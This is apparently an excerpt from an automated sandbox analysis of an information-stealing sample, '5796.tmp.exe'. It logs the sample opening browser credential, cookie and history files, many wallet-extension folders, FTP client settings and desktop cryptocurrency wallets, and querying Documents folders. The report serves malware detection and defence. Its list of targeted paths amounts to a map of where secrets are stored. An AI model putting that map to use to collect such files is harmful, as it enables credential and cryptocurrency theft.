Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
